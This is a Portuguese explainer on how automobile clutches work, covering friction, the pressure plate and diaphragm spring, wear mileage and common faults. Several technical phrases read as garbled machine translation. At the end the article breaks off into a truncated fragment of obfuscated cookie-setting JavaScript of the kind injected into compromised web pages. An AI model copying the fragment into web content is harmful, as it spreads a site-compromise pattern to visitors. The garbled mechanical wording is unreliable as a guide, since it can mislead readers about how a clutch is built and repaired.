Como funciona a embreagem

Como funciona a embreagem? – Se você dirigir um carro com transmissão manual, ficará surpreso ao descobrir que ele tem mais de uma embreagem. E acontece que carros de transmissão automática também tem embreagem. Na verdade, em muitas coisas que você provavelmente vê ou usa todos os dias a embreagem está presente: muitas brocas sem fio têm uma embreagem, motosserras têm uma embreagem centrífuga e até mesmo alguns ioiôs têm uma embreagem.

Neste artigo, você aprenderá porque precisa de uma embreagem, como funciona a embreagem do seu carro e descobrir alguns lugares interessantes e talvez surpreendentes onde as embreagens podem ser encontradas.

O que é a embreagem?

As embreagens são úteis em dispositivos que possuem dois eixos rotativos. Nesses dispositivos, um dos eixos é normalmente acionado por um motor ou polia, e o outro eixo aciona outro dispositivo. Em uma furadeira, por exemplo, um eixo é acionado por um motor e o outro aciona um mandril de perfuração. A embreagem conecta os dois eixos de modo que eles possam ser travados juntos e girar na mesma velocidade, ou serem desacoplados e girar em velocidades diferentes.

Em um carro, você precisa de uma embreagem porque o motor gira o tempo todo, mas as rodas do carro não. Para que um carro pare sem matar o motor, as rodas precisam ser desconectadas do motor de alguma forma. A embreagem nos permite engatar suavemente um motor girando em uma transmissão que não gira, controlando o deslizamento entre eles.

Para entender como funciona uma embreagem, ajuda saber um pouco sobre o atrito, que é uma medida de como é difícil deslizar um objeto sobre o outro. O atrito é causado pelos picos e vales que fazem parte de todas as superfícies – mesmo as superfícies muito lisas ainda apresentam picos e vales microscópicos. Quanto maiores esses picos e vales, mais difícil é deslizar o objeto.

Uma embreagem funciona devido ao atrito entre uma placa de embreagem e um volante. Na embreagem de um carro, um volante (não confunda com o volante de direção) se conecta ao motor e um disco de embreagem se conecta à transmissão (marchas).

Como funciona a embreagem?

Quando o pé está fora do pedal, as molas empurram a placa de pressão contra o disco da embreagem, que por sua vez pressiona contra o volante. Isso trava o motor no eixo de entrada da transmissão, fazendo com que girem na mesma velocidade.

A quantidade de força que a embreagem pode suportar depende do atrito entre a placa da embreagem e o volante, e a força que a mola exerce sobre a placa de pressão.

Quando o pedal da embreagem é pressionado, um cabo ou pistão hidráulico empurra o garfo de liberação, que pressiona o rolamento de descarte contra o meio da mola do diafragma. Quando o meio da mola do diafragma é empurrado para dentro, uma série de pinos perto da parte externa da mola faz com que a mola afaste a placa de pressão do disco da embreagem.

Problemas comuns na embreagem

Dos anos 1950 aos anos 1970, você poderia ter certeza que, ao atingir 90 mil km rodados, teria de trocar a embreagem. Embreagens agora podem durar mais de 130.000 km se você usá-las suavemente e mantê-las bem. Se não for cuidado, as embreagens podem começar a quebrar a 55.000 km. Caminhões que são constantemente sobrecarregados ou que frequentemente rebocam cargas pesadas também podem ter problemas com embreagens relativamente novas.

O problema mais comum com as embreagens é que o material de fricção no disco se desgasta. O material de fricção em um disco de embreagem é muito semelhante ao material de atrito nas pastilhas de um freio a disco ou nas sapatas de um freio a tambor – depois de um tempo, ele se desgasta. Quando a maioria ou todo o material de atrito se for, a embreagem começará a escorregar e, eventualmente, não transmitirá energia do motor para as rodas.

A embreagem só se desgasta enquanto o disco da embreagem e o volante estão girando em velocidades diferentes. Quando eles estão trancados juntos, o material de atrito é mantido firmemente contra o volante, e eles giram em sincronia. É somente quando o disco da embreagem está deslizando contra o volante que ocorre o desgaste. Então, se você é o tipo de motorista que desliza muito a embreagem, você vai desgastar sua embreagem muito mais rápido.

Uma embreagem “dura” também é um problema comum. Todas as embreagens exigem uma certa força para comprimir totalmente. Se você precisar pressionar o pedal com força, pode haver algo errado. Furar ou encadernar a articulação do pedal, o cabo, o eixo transversal ou a esfera pivotante são causas comuns. Às vezes, um bloqueio ou vedações desgastadas no sistema hidráulico também podem causar uma embreagem dura.

Outro problema associado às embreagens é um rolamento de escape desgastado, às vezes chamado de rolamento de liberação da embreagem. Este rolamento aplica força aos dedos da placa de pressão giratória para liberar a embreagem. Se você ouvir um som estrondoso quando a embreagem se encaixa, você pode ter um problema!,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]